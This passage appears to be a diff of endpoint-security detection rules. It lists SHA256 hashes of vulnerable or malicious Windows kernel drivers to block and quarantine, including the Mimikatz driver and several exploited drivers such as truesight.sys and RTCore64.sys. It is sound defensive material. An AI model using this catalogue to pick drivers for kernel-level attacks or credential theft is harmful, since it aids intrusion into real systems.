+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460152Z",
+  "creation_date": "2026-03-23T11:45:30.460155Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460164Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "96df0b01eeba3e6e50759d400df380db27f0d0e34812d0374d22ac1758230452",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "766256c7-dd82-57c9-beb8-0985e5a500b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464006Z",
+  "creation_date": "2026-03-23T11:45:30.464009Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464018Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "36c65aeb255c06898ffe32e301030e0b74c8bca6fe7be593584b8fdaacd4e475",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "766b7dd5-d1d1-544e-b883-4d9cc4f4a7ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979653Z",
+  "creation_date": "2026-03-23T11:45:29.979655Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979663Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff6108dd2017f9bc7ea93c43c1afbda0f1cc7b00f5afafb4ce3cf0a193e9598b",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "76844164-ac86-5ad3-aff5-58974bb72639",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984303Z",
+  "creation_date": "2026-03-23T11:45:29.984305Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984310Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f8965fdce668692c3785afa3559159f9a18287bc0d53abb21902895a8ecf221b",
+  "comment": "Vulnerable Kernel Driver (aka inpoutx64.sys) [https://www.loldrivers.io/drivers/91ff1575-9ff2-46fd-8bfe-0bb3e3457b7f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "769629b5-ebad-5c09-9c82-c7bb5df069c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618807Z",
+  "creation_date": "2026-03-23T11:45:29.618808Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618814Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7680d9b4f66fe4fe9d4a45f2ebdb3f17e7d3e2519e0b61d691761a2222cf444b",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "769e350c-e261-5936-a125-4a39e839a3bc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480460Z",
+  "creation_date": "2026-03-23T11:45:31.480465Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480475Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "93e5d1ed74e874f2d17b24df51e55061cffdb9ea0226c4a41f38bbd43e97f18b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "76b2a15c-a747-5ad6-9011-3b8fbad5d476",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813758Z",
+  "creation_date": "2026-03-23T11:45:31.813760Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813765Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c84521ad34c174640e0ce2b640fad0acd48485167eedac86e3485b3768da946",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "76cfdb22-592f-55ed-8b53-159787a42f90",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970455Z",
+  "creation_date": "2026-03-23T11:45:29.970459Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970467Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f83d1913ba46517737c2667cb3652787523480347a12a5b69f8bdd2cb5242e49",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "76d06454-e42e-5a32-b674-19917bbccade",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816436Z",
+  "creation_date": "2026-03-23T11:45:30.816438Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816444Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "22901319d041f2650d1ade9a8f66f7e6993800d1c20e6014b7da6642d0e8d90e",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "76d5cca2-96ea-5a92-ba02-deb8f0eb9be4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612057Z",
+  "creation_date": "2026-03-23T11:45:29.612059Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612064Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0c7809ac1fa074408518ddc0ac118912c9cd43ed9c89213bc4d59043016b040c",
+  "comment": "Vulnerable Kernel Driver (aka test2.sys) [https://www.loldrivers.io/drivers/6356d7d9-3b82-4731-9d5f-cc9bc37558fc/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "76d70b7b-6bd6-5527-95e7-eb8990ccc167",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975690Z",
+  "creation_date": "2026-03-23T11:45:29.975692Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975697Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c5647d315fb5ca1dcf4b063ea3f54003e2545739871519b8f2c98dc5baf66bac",
+  "comment": "Novell XTier vulnerable driver (aka libnicm.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "76dfdd88-6c77-5e96-a6c7-0a658e17edb9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143113Z",
+  "creation_date": "2026-03-23T11:45:31.143114Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143120Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f7c82d65a8d7904e0581339770a14596b5a40fa1b24de8942b79006c05e11d6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "770ccf2e-a419-5f56-9c2c-568bd0aea266",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492521Z",
+  "creation_date": "2026-03-23T11:45:31.492523Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492529Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b50c9fa91866a60c381d7691f04ee27b190a65bda1f445abfe9e4e6d8e8c19d1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "771689b3-904f-5d20-86f8-1a8a44d0550a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835975Z",
+  "creation_date": "2026-03-23T11:45:30.835977Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835983Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd07ce8faab0241f38ff052c0b3b204b4432b43c79bed23422f415fed668e132",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "771a29fa-88e5-5781-97be-6f5132e74d79",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453402Z",
+  "creation_date": "2026-03-23T11:45:30.453405Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453415Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aeaafcb5d6a7f0354915c615bd0cf0e024168d17bd87d4dfe0bd60099482b4a4",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "771c28e8-4da4-5e50-b2aa-cdf38d259aff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812509Z",
+  "creation_date": "2026-03-23T11:45:31.812511Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812516Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2d7e5463bc619227af0b1700bcf487269d5fea0d2f4e9fdab496271110112cc5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "773c71f0-ef94-5d29-a59f-a479d431d04e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968332Z",
+  "creation_date": "2026-03-23T11:45:29.968334Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968339Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ebbaa44277a3ec6e20ad3f6aef5399fdc398306eb4c13aa96e45c9a281820a12",
+  "comment": "ENE Technology Inc Vulnerable I/O Driver (aka ene.sys) [https://swapcontext.blogspot.com/2020/08/ene-technology-inc-vulnerable-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7756f2a4-5d47-5fe3-a841-f11b39d64f3a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160276Z",
+  "creation_date": "2026-03-23T11:45:31.160280Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160289Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "10d2d4f5810d9626ac57c4463810d4cf663bf7d03a0c0875a41df2dc86d57f93",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7757368c-56ac-5191-b1a5-2886c1831ec1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829237Z",
+  "creation_date": "2026-03-23T11:45:30.829239Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829245Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c7c7d374576e95e93c1ddd70d2d879c56f3e34d7073164e9186aa6fc6431fea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7758d1c7-64eb-5470-b886-46e0fcd62118",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145623Z",
+  "creation_date": "2026-03-23T11:45:31.145625Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145630Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "69a8e57b60cec2be20e3ccb5df2e019a000d29120b05294b98f1453ea2386333",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "775edca8-bf4b-51c5-b245-c39dfd3bebec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489057Z",
+  "creation_date": "2026-03-23T11:45:31.489059Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489065Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3653b2e37210321129e87c3acd7572bd0200bb13a68fa382705ec79c02c6f3ad",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "77653978-2015-5199-b8ec-3a6c948a2fb1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486346Z",
+  "creation_date": "2026-03-23T11:45:31.486349Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486357Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9551a6958011dd3b5c70fa7ec25b4d1decff0d8e9ba9875bacab06adc6eed9e8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7769ba24-8dd4-50da-afed-b6a468b3bcdd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460891Z",
+  "creation_date": "2026-03-23T11:45:30.460894Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460904Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
